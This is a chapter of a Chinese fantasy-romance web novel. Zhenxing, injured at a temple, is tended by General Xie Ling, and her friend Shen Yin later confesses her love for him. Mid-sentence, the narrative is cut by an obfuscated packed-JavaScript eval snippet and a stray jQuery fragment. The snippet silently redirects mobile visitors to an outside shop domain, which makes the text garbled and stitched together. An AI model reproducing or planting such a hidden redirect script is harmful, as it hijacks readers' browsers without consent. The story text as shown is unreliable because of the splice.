虚无中,枕星听见有人在唤她的名字。
那声音一声比一声急切,一声比一声清晰。
一阵剧烈的咳嗽后,温热黏腻的咸腥从她喉咙涌出,溢出嘴角,沿脸颊、脖颈向下滑去……
枕星一阵难受。
万幸,在它钻入衣领前,不知被谁好心拦下了。
她睁开,果然有人正细心擦拭着她刚才吐出来的血。
禅房仍旧漆黑,他背后的门外倒是有微弱的光,但并不足以让她看清他的面容。
会是谁呢?
他又是如何发现她受伤的?
“是……你叫醒我的?”她艰难开口试探道,声音发涩,带着股咸腥味。
“是我”,耳边传入谢凛沉静的声音:“岳姑娘,你现在怎么样了?”
意外,好像又不意外。
“没事了”,枕星回道,有些疑问,一时间不知如何去问,也无力去问。
她尝试着将手掌撑上床榻,坐起身来,可整个身体几乎纹丝未动,无奈又卸了力气,躺在那里不再挣扎。
真身受伤,人身上虽看不见伤口,可也一样会痛……
就在这时,一道光芒从门外晃入。
片刻后,将禅房内映成了暗橘色。
岳丞相快步走了进来,身后跟着司马涧。
烛光映照下,谢凛的眉眼终于清晰,枕星的视线越过他的发际,看向她阿父。
“枕星!是谁伤你?伤的重不重?”岳丞相脸色十分难看,他不知道发生了什么,但在看见枕星那一刻,便知她是受伤了!
枕星虚弱地摇摇头,朝他笑了笑。
“岳丞相,过来说吧”,谢凛将她嘴边最后的血迹擦掉后,起身让开床榻,又朝司马涧问道:“外面收拾得如何了?”
“师父,所有人都已经绑好送回各自的禅房了。”
司马涧说完,抬脚欲朝枕星榻边走去,没想到被岳丞相拦了下来。
枕星见岳丞相这般,只好攒足了力气又解释道:“阿父,我没事,无人伤我,兴许是今日累了些,又或者是吃不惯这里的膳食……”
岳丞相半信半疑,一阵沉默。
枕星也没有再解释什么。
良久,两人的目光一齐落在了谢凛身上。
“谢将军,请问,你是如何发现我受伤的?”
这里并没有歹徒,而她刚一受伤,他就赶了过来。
他既没有叫人,也没有找大夫,而是直接准确地叫醒了她。
这样的巧合,实在让人很难不多想……
岳丞相心中也觉得很奇怪,刚才院中一片混乱嘈杂,他又是如何注意到正在禅房三楼睡觉的枕星遇到危险的?
“谢某是武将,行军打仗,能活下来的,都是对血腥的味道格外敏感的”,谢凛毫无心虚道。
“的确是这样”,司马涧道:“之前我与师父曾一同捉拿戎月国来的间隙,那间隙逃遁到西境山脉,师父就是循着他血腥味找到了他!””
谢凛转眸看了眼司马涧。
倒也不完全是个朽木,看来,他还可以继续教他……
“原来如此”,岳丞相疼惜地看向枕星,眼中狭光一闪,又朝谢凛道:“恐怕,还要劳谢将军留在这里再照顾小女一段时间,那些老家伙被绑,心中定然会有怨言,老夫须得去安抚。”
谢凛点头应下。
岳丞相拉平整枕星的被角,起身准备离开。
“岳丞相我……”司马涧急忙开口。
他话还没说完,就被岳丞相抱拳打断:“如此,去山下请大夫的事,就交给殿下了!”
没过多久,禅房里就只剩下枕星和谢凛两人。
窗边已经点上了一盏烛台。
谢凛关上房门,默默坐在了烛台边儿。
“谢将军,在我醒来之前,外面出事了,对吧?”枕星这会儿毫无睡意,斟酌再三后,她小心翼翼问道。
好在床榻离窗子不近,烛光到这里时,已十分微弱。
她看得清谢凛,谢凛却是看不清她的。
“刚刚那些人发了疯症,就像沈笛一样”,谢凛的声音和夜一样沉静:“只好暂时先将他们都捆了起来。”
枕星一阵沉默,也是又没了力气。
而谢凛沉静面容下的心绪,早已慌乱。
她的伤,并不是寻常大夫可以治好的。
他倒是有法子加快她真身伤口的恢复,可今日他这一冲动,她已经对他有所怀疑了……
最多只能,等她睡着后。
“谢将军,依你看,这事如今可有何解?”枕星问道。
今日他救了她两次,皆不是巧合。
她看得出来,他不简单。
不免心中好奇,对于这些公子小姐们退婚一事,他该是何看法?
“要等天亮后,再看”,谢凛正声道:“岳姑娘不如早些歇下,先将身体修养好。”
谢凛还在惦记着她快些入睡,他才好帮她疗伤。
枕星却从他的话中听出别的意味。
“谢将军,我没事了,你回去歇息吧……”她有些愧疚地解释道:“是因我过了今岁就要被指婚,阿父心中着急,所以才这般打扰到谢将军,请见谅……”
谢凛听出她误会了,可自己若是现在离开,又如何再名正言顺进来?
他端坐了坐身子,认真朝她道:“岳姑娘,并不打扰。”
枕星稍稍偏过头,朝他看去,一身白衣仍旧未染尘埃。
那张冷峻而秀美脸,若是不知他谢将军战功赫赫,便是从哪里也看不出是个大将军。
“谢将军,明明你已经过了指婚的年纪,为何却没被指婚?”枕星问道。
“战功之下,曾得先帝允诺。”
回京那年,他为了免去成亲带来的麻烦,特意请了这一允诺。
他化人身,来到人间,是为阴阳两界。
娶妻生子,人间烟火,凡尘之事只会给他带来束缚。
“你也不想成亲么?”
“不是不想,是没想过。”
枕星忽然觉得,如果她一定要嫁一人的话,谢凛似乎比司马涧,不,比所有人都更合适。
*
次日,大殿的诵经声早早响起。
公子小姐们已安安分分地跪坐在大殿内,眼神不再失焦,看起来与正常人无异。
就连那些大人们,也被岳丞相半情理、半威胁地送进去听经了!
劝说着他们已经被子女折腾的生了心魔,必须得好好清理一下心神!
半宿过去,枕星醒来时,已经恢复了不少。
至少能从床榻上下来,四处走动了。
她才出禅房,就看见谢凛正站在殿前。
“谢凛!”她朝他小声喊道:“谢将军!”
谢凛闻声回眸,朝她走来。
“岳姑娘好些了?”
“师父们的经声有灵!已经好多了!”枕星笑道。
谢凛见她神色灵动,说话间,唇红齿白,煞是好看。
昨夜耗费的神力,总算没有白费!
“昨夜你说的天
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17868796|212040||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
亮后再看,可有进展?”她又朝他问道。
谢凛点头:“已经确定,在诵经声下,这些人不会发疯。昨日沈笛逃走,也是因为离开大殿后,听不见经声的缘故。”
枕星转向大殿望去。
也就是说,在抓到莫澜之前,如果他们在这里日夜听经,就不会再发疯了……
正思索间,背后忽然传来熟悉的声音。
“枕星!”
枕星转过头去,沈音正一路跑跳着朝她走来,看上去是刚到灵毓寺,身后婢女怀中还抱着行囊。
“阿音?”她惊喜道:“你怎么也来了?
“见过谢将军……”沈音停在二人面前,先是朝谢凛看了看,而后,脸色微红道:“我惦记着我阿父和阿兄,又听说你也在这里,所以我就来了。”
“路上颇辛苦,阿音,我们回禅房边喝茶边说。”
枕星拉起沈音的手,沈音也点头赞同。
二人遂朝谢凛告辞。
*
枕星将沈音带回到了自己屋里。
刚好她出门前曾叫人去取茶来,这会儿已经送到了。
“寺中好凉快”,沈音坐到蒲团上,感叹道:“不过,昨夜起,京城倒也比前些日子凉爽些了……对了枕星,我兄长他还好吧?”
“昨儿下午走丢了,不过又被谢将军找回来了”,枕星道。
她怕沈音担心害怕,事情已经过去,眼下也有了控制他们的办法,便没有细说。
“谢凛?”沈音忽然抬身,将脸凑到她跟前儿,有些害羞道:“枕星,你觉得谢将军怎么样?
“他是个好人”,枕星回道,手中茶壶稳稳倾下,茶水如山涧般落入茶盏。
“枕星,偷偷告诉你件事,我喜欢谢凛……”
沈音说的很快,说完,她就坐回到蒲团,脸上绯红,拿起茶盏,遮住了娇羞。
“喜欢?谢凛?”
枕星心头一震,手中茶水晃了晃,并未洒落。
她与沈音这么多年,还从未听她说过喜欢谁。
沈音使劲儿朝她点了点头。
“什么时候的事?”
“两年前……第一次见他时,就喜欢了”,沈音道:“等过些日子,兄长的病好了,我就求阿父去将军府……”
“这不可能”,枕星道。
先前她还批判那话本子胡说八道,没有人会在第一次见面就对对方生出男女之情的!
“这有什么不可能的?”沈音道:“论相貌、论功夫、论人品,谢凛他哪里不值得人喜欢?再说,这京城相中他的女子,多的数不过来,为何我不能?”
“阿音,我不是这个意思”,枕星放在茶盏急忙解释。
“难道,难道枕星你也喜欢他?”
“不,阿音,我不喜欢谢凛,我的意思是……唉……阿音,你能不能同我讲讲,什么是喜欢?喜欢一个人又是什么样的感受?”
沈音抬眸,眼神凝住,真思考起来。
“就是,忍不住想要靠近……疯狂的想要靠近……”半晌后,她认真回道。
枕星想起昨晚,那些公子小姐们发起疯来,好像也是这样。
靠近,疯狂的想要靠近,抱到一起,最后,就连彼此身上那层薄薄寝衣的距离,似乎都容忍不能了……
“大概听得懂,又不是很理解”,枕星眨眨眼,叹了口气,道:“所以,你今日也是为他来的?”
沈音点头。
枕星认真看了看沈音,既然她喜欢谢凛,那订亲之事,自己还是再换个人选吧……